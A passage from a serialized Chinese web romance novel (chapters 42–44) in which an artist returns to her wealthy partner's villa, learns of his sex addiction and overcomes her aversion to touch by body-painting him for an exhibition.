“就她吧,我挂了!”姜曜什么也没说,没有嘲笑她的无措与紧张,只是留下这么一句话,就匆匆挂断了视频。 时间快到,令林晚觉得刚才的一切,仿佛都是假的。 “哇,恭喜你呀!我哥可是个爱狗如命的人,他竟然真能同意布布给你养,说明他觉得你靠谱呢。”姜绒欢快的声音,在她耳边响起。 林晚红着脸,点了点头。 “不过,现在,狗不在我手上,在别人那里。”姜绒却挠了挠头,苦恼的皱了皱眉,兀然犯起了难。 布布现在还在云顶天阙,在陆沉渊手上,再加上她肚子里的孩子,一个人质,一个狗质,简直了。 “那绒绒,拜托你把它拿回来了。”林晚语气稍微恢复正常了一些,望着她诚恳的请求道。 姜绒只得硬着头皮,点了点头:“行!” 作者有话说:宝宝们,欢迎评论,灌溉,投雷啊!你们留下越多足迹,我更的就越多越快,你们就是鹿鹿的动力啊! 第42章 第四十二章 她都不怕,我也可以。…… “对了, 你现在刚好有时间。江之晏跟我说,他明天的感官艺术画展,你作为合作伙伴, 也要交一幅画给他参展。” 林晚突然想起一件事来,望向姜绒, 提醒她道。 姜绒却彻底愣住了:“啊?他怎么不早说?” “喂,姜老板,我不是早早就给你发微信消息了嘛?是你自己被狐狸精迷昏了头, 根本不看吧?”林晚却端起手臂, 变回了那个她最熟悉的毒舌模样。 姜绒脸上红了一下, 挠了挠一头海藻般柔顺的卷发。 自己还真有可能没看, 毕竟在陆沉渊的别墅里, 自己被他缠得那么紧, 连自由时间几乎都没有了。 “反正啊, 明天你这艺术馆的首展非常重要,一个星期前,我就已经联系媒体打点铺路了,会有很多人过来。” “而且冲着江之晏,这明星网红心理画师来的观众很多, 咱馆里的门票早就售罄了,你就做好咱们艺术馆一炮而红的准备吧。” 林晚戴回了眼镜, 一边老干部般喝保温杯里的热水, 一边盯着电脑屏幕,向姜绒说道。 姜绒好奇的看向屏幕, 她专门找人制作的,像模像样的暗红色丝绒主题的艺术馆官网上。 江之晏《感官艺术》画展,150元一张, 持续一个月展出的门票,竟然还真是一张不剩,一票难求了。 她们的销售额,则在林晚的表格里,清清楚楚的显示,令她颇为惊讶——接待日均高峰人次1200人,月开放天数26天,预计总收入468万。 “牛啊!这说明,咱们还是得跟爆款ip或者画家合作,这号召力也太强了!”姜绒感叹出声。 林晚不以为然:“你当江之晏上的电视台综艺、节目,是白上的啊?更何况,人家本来就是这领域的大牛。” “这还只是纯门票收入,没算上他的周边衍生艺术品收入呢。” 姜绒喜笑颜开,尾巴差点翘到天上去:“我还是太有生意头脑了,太佩服我自己了,这是坐在钱罐子上数钱了。” “先别佩服了,想想你那画怎么弄吧,你不想浪费一次这么好的,和大画家联名的机会吧?”林晚拿起手里的圆珠笔,轻轻敲了她头一下,提醒她道。 姜绒挠了挠头,灵气的五官皱成一团: “就一天时间,我上哪儿去弄符合这主题的画去……而且我那病,你也知道的。” 还感官艺术,别提感官了,她的感官不仅仅是消极怠工的无感,而是异性一触碰就想吐的严重程度,上哪儿去启发感官,并捕捉感觉,画出艺术去。 林晚站起身来,径直将桌上的香奈儿古董包,塞到她手里,一边推着姜绒往外走,一边朝她说: “我不管,姜大画家,总之你现在还有一整天的时间来画画。现在快去找能帮你找到灵感,画出这主题的人去。明天上午,按时交画给我就行了。” 姜绒很快就被推到了艺术馆门口,林晚潇洒利落的转身离去,只剩下她望着头顶明亮的太阳发愁,她能找谁去啊? 然而当她脑子里回想起,林晚那句,去找帮她找到灵感的人去,她白皙的小脸却瞬间绯红了起来。 这世界上,还真有且只有一个人,能够激发她的感官。 那就是——陆沉渊。 但自己可是个脸皮薄的人,自己才把伤了手臂的他,独自扔在别墅里,还撂下狠话,现在能厚着脸皮,回去求他? 与此同时,云顶天阙内。 身穿白大褂的江之晏,提着医药箱,再一次走进了,陆沉渊这栋偌大无比的夸张别墅里。 他是来给他治病的。 江之晏轻车熟路的穿过门厅,和两侧种满了奇花异草的花园走廊里,他走到了陆沉渊独属的那间书房前,轻轻敲了敲门。 “进。”陆沉渊的声音冰冷,但带着几分,他所熟悉的不对劲的压抑。 江之晏推门而入,看到身穿白色病服的陆沉渊,高大的身影,正站在书房的落地窗前,一如他第一次给他治病时的模样。 干净、疏离、一尘不染、没有人味的一架机器。 他在陆沉渊对面的真皮沙发椅上坐了下来,拿出了记录本,推了推鼻梁上的眼镜:“这次又是什么诱因?因为她吧?” 据江之晏所知,陆沉渊的性/瘾症,已经很久没有再犯了,至少在姜绒成为他的“地下女友”之前,他没有再找自己,解决过这个问题。 陆沉渊捧着手臂转过身来,那张轮廓深邃的脸上,没有戴眼镜,一双黑眸泛着红,像是正在拼命的压抑着,那只藏在他身体里,即将喷薄而出,名为欲望的野兽。 他张了张唇,说出了一句,令江之晏惊讶无比的话:“她怀孕了。” “你是说,姜绒怀孕了?”江之晏睁大了一双眼睛,向他反问道。 陆沉渊点了点头,回答非常干脆:“是。” “恭喜你啊,做爸爸了。我真是没想到啊,有一天,你竟然比我还要先当爹……”江之晏喜气洋洋的朝他作揖,恭喜了他一句。 空气却仍然安静极了,显然,他这句不合时宜的调侃,并没有放松任何气氛,对陆沉渊来说,也并不好笑。 他只得尴尬的干笑了几声。 “我差点没有忍住自己,当她靠近我的时候,当她用温暖的话来安慰我的时候,我差点把她整个人都……” 陆沉渊的语气骤然变了调,每一个字后面,几乎都连着一声兴奋的轻喘。 “我害怕我会彻底变成,只有欲望的野兽,忘记她怀着我的孩子这件事。会肆无忌惮的撕碎她的衣服,彻底的占有她,把她永远锁在我身边,永远没有办法离开。” “我甚至嫉妒,嫉妒我的孩子,能够待在她的肚子里,留在她的身体里,而我却不能!” 陆沉渊眼睛里放着病态的光,越说越兴奋,提起姜绒来,似乎像是提起了一个,他最喜欢,最渴望,最爱不释手的猎物。 彻底没有了那副,无欲无求,没有感情的冰山模样。 所以从那年初遇开始,江之晏就知道。 陆沉渊其实是一个疯子,一个迷人的疯子,完美结合了失控与秩序,作为一个悖论存在。 “所以,我甚至庆幸。庆幸她昨晚,在我即将失控之前,逃离了这里。” 陆沉渊骨节修长的手指,重重压在右手手臂的绷带上,似乎在用疼痛,来提醒他自己保持清醒,些微的红色血迹,渗透了出来,在白色绷带上,非常显眼。 “你收集了她的什么?每次她来这里的时候?你企图控制她什么?显然,她离开这里,就是因为不想被你控制吧。” 江之晏手里的钢笔,轻轻敲了敲记录本,向他问出了几个关键信息点。 他早早就知道了,陆沉渊的掌控欲之强烈。 这座经过陆沉渊亲手特殊改造的别墅里,可以说几乎每一样家具,都能受到他手里操控平台的控制。 “床垫能够录到她每一次的呼吸声和说出的每一句梦话、化妆镜能够记录她每日照镜子的停留时间、皮肤状态、和视线聚焦点的身体部位。” “洗手池能够自然收集,她的每一根掉发。床头灯的生物雷达可以记录,她夜间所有非清醒状态下的无意识微小动作……” 陆沉渊回答他道。 江之晏皱了皱眉:“收集到,关于她的无数详细数据以后呢?” “沉溺……”陆沉渊的回答,只有两个字,却令江之晏,瞬间懂了。 他点了点头,尽力把自己研究对象,说出的每一句话,都记录在本子上。 陆沉渊接着说道:“那天晚上,她同意,我和她一起在睡。为了不让自己失去理智,我在浴室里用冷水冲了十次澡,最后把手腕,绑在了通风管上……” “不错,这是一个好的迹象。虽然,我不认为,你再度和你性/瘾症的诱因重逢,并且朝夕相处这件事,是对的事情。但你在她面前,已经有过控制住自己的经验了。” 江之晏放下手里的笔,夸了陆沉渊一句。 陆沉渊却兀然低头望向他,那双暗沉沉的赤色眸子里,带着最纯粹的疑惑与天真:“老江,到底什么是爱?” 没有预料到,他会问出这个问题来,江之晏怔了一下。 显然,陆沉渊从小极端的养育环境里,没有人教会他这件事。 江之晏推了推鼻梁上的眼镜框,缓缓回答他道: “爱不是控制,是无条件的给予。” “你的性/瘾症,极有可能是一种情感转移。你童年极度缺乏的无条件接纳和温暖,在姜绒身上,似乎找到了极致的存在。” “从而令你产生了,这种扭曲的、极致的占有欲。你需要学会,把你对姜绒的欲望和对爱与安全的需求,分离开。” 陆沉渊喃喃的重复了一句,那两个词:“爱与安全。” 这两个词,似乎从小便与他相差甚远。 “人类所有的欲望,都可以追溯到两个核心,连接的渴望、与存在的确认。” “而人类最深层次的心理需求,是被看见、被确认、被选择。” 江之晏却朝陆沉渊神秘的笑了一下,缓缓又说出了两句话来,如同在向他传授什么爱情秘诀一般。 陆沉渊却没有再说话,艰难的消化,并领悟着,他话里的意思。 “一个自由的灵魂,你是锁不住的,但聪明的人,总能找到方法,让风筝留在自己身边。” 江之晏合起记录本,站起身来,将自己早已准备好的,一种用于镇定,以及干扰大脑成瘾行为的药物,放到了陆沉渊的书桌上。 留下了这么一句话后,便径直转身离开了。 一个小时后,放下了脸皮,彻底不再纠结的姜绒,到达了云顶天阙的门口。 她已经想好了,反正自己为了布布也要再来一趟,如果陆沉渊不愿意帮她的话,她就当来偷狗回去了。 反正,陆沉渊怕狗,这是他最大的弱点。 别墅门口安安静静,连往来的车辆,与进出的佣人都没有,姜绒扶着肚子下了专车。 她现在已经能够明显的感觉到了,肚子在渐渐变大,重量感也和以前,有所不同了。 而别墅门,竟然也巧合的没有关,只是虚掩着而已。 蹑手蹑脚的走进了屋里以后,姜绒没有看到陆沉渊人去了哪里,毕竟这样占地面积巨大的别墅,某种程度上就像座迷宫,要找个人,还真不容易。 “咳……有人吗?没人我就进来咯。”她有些心虚,小声喊了一句。 没听到有人回应后,她才放下了心来。 先去偷狗!毕竟这可关乎着林晚的幸福。 姜绒记得,陆沉渊之前跟她说过,布布在离他最远的一间宠物专属套房里,享受着最好的狗生待遇。 不仅有温控的宠物床、自动喂食喂水器,宠物专用空气净化系统,还有步入式宠物衣帽间和专用的美容区等等。 当她拿出自己带来的,布布最喜欢的那条牵引带,轻手轻脚的走去宠物房里,像个真正的小偷一般。 打算在不通知陆沉渊的情况下,神不知鬼不觉的将狗偷走时。 姜绒轻轻推开偌大宠物房里的那扇房门时,却看到了一个,令她意想不到的身影,正坐在暖色的原木地板上。 ——赫然正是,身穿着白色病号服的陆沉渊,他高大的身影,正盘着腿,坐在趴着的布布前方。 阳光穿透宠物房的落地窗,洒在他整个人身上,令他整个人都散发着暖意与温柔,与她昨晚梦里,那个化身为蛇的陆沉渊,完全不同。 他不是怕狗吗?他到底在做什么啊? 该不会陪她去狗咖,为了救她被狗咬伤那事,真的是他演出来的苦肉计吧? 莫非他小时候的事也是编的?还白赚了好几滴自己的眼泪。 姜绒扒在门框上,忍不住这样猜测。 然而,当布布望着坐在它面前的陆沉渊,轻吠了一声以后。 她逐渐发现了,陆沉渊状态并不对劲。 他的身体在无法控制地微微发抖,呼吸声沉重而急促,仿佛正面对着极致的恐怖,甚至需要将一只手撑在地面上,来支撑自己几乎要虚脱的身体。 显然,陆沉渊还是很怕狗,怕到难以接受的程度。 姜绒想不明白,好端端的,他为什么要趁自己不在的时候,进行自虐,强行去接触狗。 陆沉渊喃喃自语了几句。 姜绒竖起耳朵,仔细捕捉,逐渐听清楚了: 他说的是:“不怕……不怕……” “她喜欢……她不怕……” “我也可以的……” 姜绒彻底呆住了,陆沉渊嘴里说的她,是指的自己吗? 然而紧接着,更令姜绒觉得不可思议的一幕发生了。 陆沉渊伸出那只被狗咬伤,还缠着厚厚白色绷带的右手,极其缓慢、颤抖地向前伸,试图去触碰布布的鼻子。 那不是一个他完全计划好了的动作,而是充满了犹豫、退缩,笨拙,却又强迫自己向前的挣扎。 每一次布布无意识的动一下耳朵或尾巴,陆沉渊都会像受惊一样,猛地缩回手,过一会儿,却又再鼓起勇气,重新尝试。 姜绒眼底,再一次不争气的漫起了水雾。 她突然发现,那样揣测,在狗咖时,陆沉渊不是为了保护自己,而是为了使用苦肉计,才故意被狗咬伤的自己,才是真正对他充满了偏见的那一个。 因为她喜欢,所以他在无人看见的角落里,独自进行着这场无异于刮骨疗毒的“脱敏治疗”。 狗咖里,陆沉渊的英勇,根本不可能是一场算计,分明是他为了她,独自面对内心最深处的恐惧、与狼狈的明证。 “汪汪!”一阵响亮的狗吠声,兀然在空旷的宠物房里响起。 是布布突然发现了她的存在,瞬间撒开了脚丫子,向姜绒跑了过去。 听到这声突兀响起的狗叫,陆沉渊立即闪避到一旁,被这突如其来的变故,惊得猛然回了头。 正好与躲在门框背后的姜绒, 四目相对。 作者有话说:宝宝们,欢迎评论,灌溉,投雷啊!你们留下越多足迹,我更的就越多越快,你们就是鹿鹿的动力啊! [奶茶][撒花][彩虹屁] 第43章 第四十三章 不如,在我身上画?…… “你怎么回来了?”陆沉渊向她问道, 语气却微妙的变了,变得有些冷。 姜绒抬头望向他那双黑眸,里面透着的寂静, 让她觉得既陌生又熟悉。 熟悉的是他还是他,陌生的是, 他对自己的态度,似乎有了些变化。 “我是来拿狗的……”姜绒白皙耳根红了一下,心虚的回答他道。 陆沉渊的回答, 却出乎她意料的干脆:“哦, 那你拿走吧, 我会吩咐管家, 帮你把它送上车的。” 哈?他这是赶客的意思吗? 姜绒呆呆的看着他, 一瞬间竟然有些不相信, 他会对自己说出这样的话来。 “我先走了。”对方却只当她是默认, 高大的身影,径直穿过她,就向宠物房门外走去了。 姜绒却再也耐不住性子了,伸出纤长的手指,一把拉住了他衣角, 在对方疑惑望向自己的审视目光里,红着脸向他问出了口: “你……你手上的伤, 有好些了吗?” 陆沉渊却将那张轮廓深邃的脸, 转了过去,没有看她, 也并没有向她展示,另一个袖子下的伤口,只是语气淡然回答她道:“已经不碍事了。” “真的吗?”姜绒却并不相信, 径直面对着他,一把将他右边手臂上的衣袖撸了上去。 白色的绷带上还渗着点点血渍,显然,陆沉渊在说谎,他的伤,看起来似乎比昨天还要严重了,并没有痊愈好。 “你这样不行的,针按时打过了吗?”姜绒不自觉的朝他走近了一步,站得更近了,扬起一张白皙的小脸,向他问道。 蜜桃的香味越发浓重,落地窗外草坪上的阳光,落在她酒红色,海藻般柔顺而蓬松的长发上,给她身上凸显身形的浅蓝碎花长裙蒙上了一层光影,令她整个人有如令人移不开眼睛,住在海底的小美人鱼。 陆沉渊暗沉的黑眸锁住她,隐隐红了一下,随即往后退了一大步,将自己的衣袖,从她白皙纤长的手掌里,不动声色的抽走: “我的医生都会安排的。” 姜绒兀然被他的行为里,读出了抗拒,清澈的鹿眼,暗了一下。 “那你刚才为什么要自己坐在那里,伸手去摸布布?明明你很害怕狗。”她忍不住仰起头,向陆沉渊主动追问出口。 听了她的话,陆沉渊摁住自己手臂,指腹牢牢按在那些伤口上,让那些弥漫起来的疼痛感,帮自己保持冷静。 “我不能被任何自己所恐惧的东西驾驭……包括,自己所渴望的东西。” 渴望的东西?他渴望的东西是什么?姜绒虽然没有听懂,他后半句话说的到底是什么意思。 但她知道,他在说谎。 因为他刚才明明说了:“她都不怕,我也可以。” 她指的是谁?很显然是不怕狗的自己。 “你快走吧。”陆沉渊却兀然望向她,一字一顿的说出了这样几个字来。 姜绒愣了一下。 明明这或许是她最想听到的话语,毕竟这代表着,陆沉渊并不想控制她,甚至希望她离开这里,不要在他身边出现。 可为什么,她心底却泛起了细密绵延的一层疼痛呢? 看着他变回了那个,她初次见面时,一副冰山脸孔的电脑人模样,仿佛她和其他所有他认识的人,都一样。 明明他向自己说出那句,不要离开我时,语气有如弃犬,似乎他的整个世界里,只有她一人存在。 明明他对她很好,为了让她孕期能过的舒服一些,不仅请设计师过来,专门给她定制衣服和鞋子。 为了让她产检舒心,特地把医院搬回了家,甚至连别墅里的空气,也都换成了森林直供的氧气。 在自己怀上了他的孩子这件事,被苏女士知道后,陪她去见家长,告诉她的家人,他会娶她。 而自己刚才也看到了,他为了能够接近自己,而付出的努力——主动战胜童年时期,内心深处的ptsd,去笨拙的触摸一只狗。 “我不走!”姜绒望向他,兀然朝陆沉渊说出了这么三个字来。 陆沉渊那双黑眸,不解的看着她,似乎是不理解,她为什么会突然说出这样的话来。 毕竟,给他发消息,说她最受不了控制欲强的人,也是她。 “那算我求你了,离我远点。”陆沉渊的语气骤然变了,他眸子里的情绪极其复杂,似乎在尽力压抑着什么,骨节修长的手指,紧紧攥着。 姜绒却大着胆子,反而又向他走近了一步,仰着头向他追问:“为什么?” 她就是这样的性格,打破砂锅问到底,毕竟她也不相信,短短一天的时间,陆沉渊对自己的态度,就会有如此巨大的变化。 “因为我有病,我不想伤害你。”陆沉渊黑眸锁住她,给出了一个,令姜绒瞪大了一双鹿眼,惊讶万分的话。 陆沉渊有病?她从来没有听他跟自己说过这件事情。 而自己也一直觉得,他只是因为父母变态的管教,童年失和的缘故,所以高中的时候,才会活得像一台死板、固执、没有人味的机器。 一些细枝末节的踪迹,突然爬进了姜绒脑海里。 此前,陆沉渊在自己面前,确实像换了一个人。 就像一台规律运行,没有破绽的电脑,有了什么系统性的错误一般。 他似乎很喜欢与自己的各种肢体接触,总有各种理由来靠近她,而她们肢体接触的时候,她能从他眼里,看到一种病态的痴迷。 甚至昨晚,他情不自禁的对自己说出那样专制的话来,抱得自己快喘不过气来。 姜绒突然想起,陆沉渊床被布布毁掉那晚,他睡在沙发,自己早上起来时,雪白脖颈上的深红色痕迹。 还有她们一起睡时,第二天,陆沉渊冷白手腕上的红色勒痕。 她平时有些心大,这些细节明明注意到了,却也没有弄清楚,或是问清楚。 现在,姜绒开始怀疑并猜测,这些事情,或许都与陆沉渊嘴里所谓的,他有病,有所关联。 “你有什么病?”姜绒张了张唇,还是向陆沉渊问出了口。 无论答案会是什么,自己对于他这个人,所产生的强烈探索欲和兴趣,已经超过了她心里其他的一切。 “性/瘾症。”陆沉渊好看的唇,轻启了一下,给出的三个字,超出姜绒的想象,令她白皙的耳根瞬间红透,发起了热。 这样的病,怎么可能会和陆沉渊这个人联系在一起? 自高一时,他在她心里留下的印象,就是一张无聊枯燥,却也干净无尘的白纸。 他的禁欲和洁癖,是班上所有人都知道的事实,身上穿的校服,永远是一丝不苟,连一个褶皱也不会有,课桌每天要擦三回,进行消毒,对于班上女生的示好,通通拒绝。 她甚至亲眼看见过,他扔楼上班花学姐,粉色的手写表白信,进他的碎纸机里的画面。 就是这样一个人,竟然和她得上了一个,完全相反的病。 自己的怀疑,在这一刻,便都有了答案。 陆沉渊正是因为这种病的缘故,所以才会如此渴求,与她的肢体接触,或者是迷恋于她的身体吧? 而知晓了这件事,她内心中,任何恐惧、厌恶或退缩都并没有来临。 取而代之的,是一种更深沉的、近乎刺痛的了然。 因为,她看到了他眼底那片从未示人的、汹涌而羞耻的海。 在那片海里,他是一座孤独的、正被自身欲望所吞噬的岛屿。 “那……你有治疗过吗?”姜绒红着脸向他追问道。 陆沉渊的回答,非常简单利落:“全部治疗失败。” “好吧……”姜绒低下头去,白皙纤长的手指,攥紧自己浅蓝碎花裙的裙边。 她突然想到一个问题,既然陆沉渊有这种病的话,那他会怎么去疏解,他所产生的欲望呢? 以他这种重度洁癖、极致理性的性格,必然不可能,去和任何女人来厮混解决吧? “所以,你现在可以离开了,孩子后续的产检,以及一切需要父亲出现的时候,我都会出现,你提前联系我就……” 陆沉渊语气仍然疏离,继续向姜绒说道。 然而,他的话还未说完,姜绒的回答,却已经径直打断了他的话,令他黑眸里,闪过一抹难以相信的惊讶。 她纤长的手,握住他骨节修长的手指,红着脸朝他说: “陆沉渊,或许我可以帮你治这个病,我们俩可以互相治疗,你觉得呢?” 从小到大,姜绒最不怕的就是挑战,最不缺的就是勇气。 小时候,苏女士给她读童话绘本,她最喜欢的故事,就是《美女与野兽》,这个故事她缠着母亲,用舒缓的语调,给她读了好几遍。 而上小学时,班上的老师,再次说起这个童话故事,当所有的小女孩,都崇拜斩杀野兽的美男子加斯顿,指着童话书插画上,那头长相恐怖的野兽说:“好丑!” 唯独她,指着那头被诅咒的野兽图片说:“如果他很孤独,那我去陪他跳舞,不就好了吗?” 那头野兽虽然长相丑陋,面目可憎,但是他把他用心血精心浇灌,代表他生命的唯一那朵红玫瑰,送给了贝儿。 因此,自那时起,她就曾幻想,如果将来,她的爱人,是这样一头,强大而孤寂、深情而温柔的野兽,那么她就与这头野兽共舞。 而现在,主动向她坦白了,心底不堪启齿的秘密的陆沉渊,不正是那头野兽吗? 有如被女巫诅咒的野兽,性/瘾症,正是加诸在他身上的沉重枷锁。 姜绒虽然知道,与野兽共舞会很危险,自己的舞步,有可能会被野兽的利爪划伤。 但自小在无数的赞美声中长大,她深知,她要的从来不是被完美无缺的供奉起来,而是被需要。 被完整的、包括所有黑暗面的,深深需要。 “你……”陆沉渊滞止了一下,那双炙热的黑眸望着姜绒那张白皙灵气的小脸,一时之间,竟有些不知,该如何回答她突然说出来的这句话。 他从那双澄澈至极的眸子里,没有看到任何恐惧、害怕、鄙夷,甚至连一丝一毫的犹豫,也没有。 姜绒朝他咧了咧唇角,明媚的如同窗外灿烂的阳光:“你不拒绝,我就当你同意了哦。” 陆沉渊并没有回答她,一双黑眸望着她,似乎是因为她前后的反差太大,还在消化着,她说出的这句话。 姜绒表情有些尴尬,伸手摸了摸,从宠物房对面的花园里跑过来,正摇着尾巴,围着她转的布布,笑着朝它夸了一句:“你好可爱呀!” 陆沉渊低头看向暖阳里,被镀上一层浅浅金色光影的姜绒。 她笑起来的画面,如此梦幻而美好,恍惚中,竟令他觉得,自己仿佛正置身于梦境之中。 “我同意你的提议。”几分钟后,陆沉渊垂眸,炙热的目光,兀然落在姜绒身上,回答她道。 听到他这句话,姜绒的耳朵已然红了,嘴角的笑容咧的更大,小小的梨涡更加明显。 但她想起了另一件事来,望向陆沉渊,向他提出了一个请求:“那你,可不可以帮我一个忙。” “什么忙?”陆沉渊向她反问。 姜绒有些不好意思,挠了挠一头红发,难为情的开了口: “明天的展出,江之晏让我,交一幅关于感官艺术的合作画给他,但是你也知道,我这hsdd的情况,所以现在还不知道该怎么办。” 陆沉渊那双炙热的黑眸却锁住她,眼尾微扬,兀然说出了一句,令姜绒意想不到,白皙小脸瞬间涨得绯红的话来: “不如,你在我身上画?” 作者有话说:宝宝们,欢迎评论,灌溉,投雷啊!你们留下越多足迹,我更的就越多越快,你们就是鹿鹿的动力啊! [星星眼][撒花] 第44章 第四十四章 我的回报是什么? “在……在你身上画?”姜绒白皙的小脸, 涨得绯红,望向陆沉渊那双上扬的黑眸。 他眸中的疏离和冷漠,逐渐在消融, 分解,眼尾的春情, 在雪融后,勾人至极。 她坚信无比,这是一个, 除了自己以外, 从未有任何人, 能见到他这一面的陆沉渊。 而她根本, 没有办法抗拒。 人体彩绘, 这种艺术形式, 其实在她的艺术学课程里, 并不少见,虽然,她自己还从未尝试过。 毕竟,在伦敦上大学期间,光是在人体素描课上, 直视着讲台上,金发碧眼的男模特, 她就已经觉得既不舒服, 也不适应了。 因此,姜绒从不跟人抢位置, 往往都是坐在教室里最后一排安静画画,大部分时间她连眼都不抬,靠想象补充, 来完成自己的画作。 但据她所知,陆沉渊是个金融毕业的理科学霸,他怎么会突然想到这种办法呢? 莫非,因为性/瘾症的缘故,他并不如同自己想的,那么理智、禁欲、洁癖,反而私下玩得很花? 她忍不住这样怀疑,于是向陆沉渊追问了一句:“你怎么会想到这个方法呢?” “上次陆氏集团的酒会上,影视娱乐分部的一个女明星,和我搭讪。说她不仅演戏好,而且还会画印度的曼海蒂,想要我去她房间,给她一个表现的机会,还递了一张房卡给我。” 陆沉渊毫不避讳她的追问,沉声回答她道。 姜绒愣住了,这倒确实是陆沉渊经常会碰见的情况。 毕竟他不仅出身名门,而且集团资产上千亿,涉猎的产业范围极光,坐拥与全球顶尖品牌合作的审计事务所,身材长相更是出众到比许多男明星都要好。 这些摆在明面上的条件,必然会使得他炽手可热,不仅仅是千金大小姐们的目标,也会是女明星们摩拳擦掌,想要攻略的目标。 “曼海蒂?那你接了那张卡吗?这小明星谁啊?真是居心叵测!”姜绒莫名觉得有些气愤,语气里多了些吃味,鼓起圆圆的腮帮子,向陆沉渊追问道。 她当然知道,这种起源于印度,有5000多年历史的古老身体手绘艺术,一般是在婚礼上,给新娘画的。 陆沉渊摇了摇头,语气毫无波澜,但给出来的答案,却令姜绒瞪大了一双鹿眼,更加震惊:“白玲玲” 那根本就不是什么小明星,而且荧幕上随处可以见到,红透了半边天,美遍了大街小巷的一个影后级别的大明星。 姜绒还记得,自己上一次看到这位女明星的身影,是她走在戛纳电影节的红毯,170cm的身高,身穿古典旗袍,美冠群芳,被国外时尚杂志誉为,东方美的代表。 而这样一个大明星,私下竟然对陆沉渊如此献媚,不仅毛遂自荐,甚至连酒店房卡都递给他了。 姜绒觉得不可思议,但也再一次,体会到了,财富和权力的魅力到底有多大。 但陆沉渊现在却希望,自己在他身上来画,完成画展上的作品。 莫非他也知道,曼海蒂和新娘、以及婚礼是有关的吗? “我觉得,这个办法挺好的。”于是,她红着耳根,点了点头,接受了陆沉渊的提议。 陆沉渊会带给她不一样的感觉吗?姜绒忍不住在心里想。 毕竟,他是唯一一个,她不觉得讨厌,甚至会对与他的期待感到期待、欣喜、甚至上瘾的存在。 因此,选择他来成为自己的画布,完成感官艺术这个主题,确实再合适不过。 陆沉渊很快让管家送来了,在天然植物指甲花里所提取的,对人体完全无毒的水性颜料,到了房间里。 这些颜料,画在人的身上,最多只能够持续一个星期,就会开始掉色,消失。 姜绒在管家,恭恭敬敬端着的托盘里,选了一些适合的,令她觉得非常惊艳的颜色。 低头看着那些价值不菲的天然颜料,她再一次感叹于陆沉渊的“钞能力”。 几乎没有什么东西,是他不能很快得到的。 但当姜绒白皙纤长的手指,触摸到那些大小不一的画笔以后,她突然有了一个不一样的念头。 这次画展是和江之晏合作的大好机会,如果走常规路线,自己的画,岂不是,令看展的人觉得无聊且枯燥,兴致缺缺。 她兀然想起,与用圆锥形颜料筒当自制画笔,来画的曼海蒂不同,在一些古老的热带雨林部落里,负责彩绘的长老,给族人身上绘画时,是直接用手指来画。 那自己是不是也可以,直接用手指来代替画笔,在陆沉渊的身上画呢? 坐在沙发上,陆沉渊高大的身影,已经做好了准备,他上身没有再穿那件白色的病号服,落地窗外,浅浅的阳光,落在他冷白的肤色上,给他肌肉线条轮廓,清晰而明显的,身上染上了一层薄薄的金色。 如同雕塑一般,好看到令姜绒望向他时,有一刹那的恍惚。 这确实,是与她在上素描课时,见到那些模特们时,会产生生理性厌恶,而完全不同的感觉。 她耳根发烫,一步步走到了他面前,将颜料盘放到他身旁的桌子上,有些不敢直视他那张轮廓深邃而立体的脸。 陆沉渊低头扫视了一眼,她的工具,一双炙热的黑眸锁住她,有些发烫,兀然调侃了她一句:“姜大画家,你画画只需要准备颜料就可以了吗?” “我……我用手指来画就可以了,画完以后,再用这个相机拍下特写照片。” 姜绒低垂着眼眸,长长的睫毛止不住的颤抖着,拿出自己早已准备好的,出门前没忘记带,专门用于找寻灵感,被她贴了粉色贴纸,套上了粉色毛绒外壳的,顶配徕卡相机,回答他道。 “哦?除了画画,你还会摄影?”陆沉渊骨节修长的手指,划过唇畔,一双意兴阑珊的黑眸,继续向她追问。 姜绒总感觉,他的语气和状态,现在已经完全变了,就在自己主动向他说出,要和他互相治疗以后。 这个人,根本不再在她面前,掩饰那种呼之欲出的“狐狸精”属性了。 “当然会啊!我会的东西可多了,画画、雕塑、摄影。不然你以为我怎么被伦敦中央圣马丁艺术学院录取的?以为别人都不如你呀?”姜绒红着脸,双手叉腰,自信心满满的回答他道。 陆沉渊,朝她扬了扬眉:“那我拭目以待。” 姜绒点了点头,走近陆沉渊,白皙的耳根再次烫得厉害,她怎么觉得,自己好像不知不觉,又掉进了什么陷阱里去了。 “站那么远干什么?”陆沉渊骨节修长的手指,点了点牛皮沙发的边缘,提醒她道,声音低沉至极,像是大海深处,蛊惑人心的海妖。 姜绒只得拿起手中的一管带了亮粉的赤金色颜料,在手中的颜料盘上推开后,用白皙的指腹蘸取了颜色,红着脸,贴近了陆沉渊。 沙发的空间其实非常大,除了能坐下陆沉渊,再坐一个人绰绰有余,而他显然也为她让出了一大片区域,并且贴心的,在他身前的位置,替她铺上了一个方便她跪坐的羊绒枕头,让她不会费力的同时,也不会对肚子造成影响。 姜绒缓缓的在沙发上,跪坐了下来,身高差和体型差过于巨大的缘故,她整个人近似于,是坐在陆沉渊怀里了,整个人都被他所笼罩。 距离实在太近了,雪松的香味,夹杂着佛手柑、檀香一同袭来,代表着陆沉渊身上的味道,完全令她无法忽略。 而陆沉渊冷白的肤色,看不出毛孔,却很容易留下痕迹,让姜绒越发意识到了,他的皮肤,确实很像上好的顶级画布。 只会让她画,只属于她一个人的,专属画布。 “那……我要画第一笔了。”姜绒红着脸,仰头看向陆沉渊那张深邃的脸,抬高纤细的手臂,吞咽了一下口水,提醒他道。 陆沉渊点了点头,一双炙热的黑眸牢牢锁住她,似乎在无声等待着她的画作开始。 姜绒耳根发烫,纤长的手指,逐渐靠近了陆沉渊形状明显的喉结,离他越近,越观察他身上的各种细节,她越能发现,对方身上一处缺点也没有。 指腹即将落在他皮肤上的最后一秒,她却停下了动作,关于那一年,留在心底,那如影随形的阴影,仍然在拽着她往下沉。 她真的能做到吗?在清醒状态下,彻底克服hsdd。 “无感有没有可能,恰好是一种超感?”陆沉渊低沉而好听的声音,却兀然在姜绒耳边响起,说出来的话,令她意想不到。 姜绒白皙小脸绯红,不解的睁着一双清澈的鹿眼,望向他:“超感?……” “闭上眼睛。”陆沉渊没有向她解释,反而在她耳畔柔声说道。 如同有什么魔法一般,姜绒不由自主的,就照他的话去做了。 很快,她感觉到了,陆沉渊骨节修长,宽大的温热手掌,轻轻握住了她纤长的,蘸了颜料的手指,顺着他自己,明显的喉结开始,一路往下,缓缓往下画出了一条线。 姜绒浑身都止不住颤抖了一下,或许是因为闭着眼睛的缘故,她的触觉,变得更加敏感、敏锐了。 她能清晰感觉到,“笔尖”所过之处,他的肌肉瞬间绷紧,喉结不受控制地上下滚动。 甚至能细微地感受到,陆沉渊皮肤下,血管的搏动在加剧,这是她画下的第一笔,也是最真实的一笔。 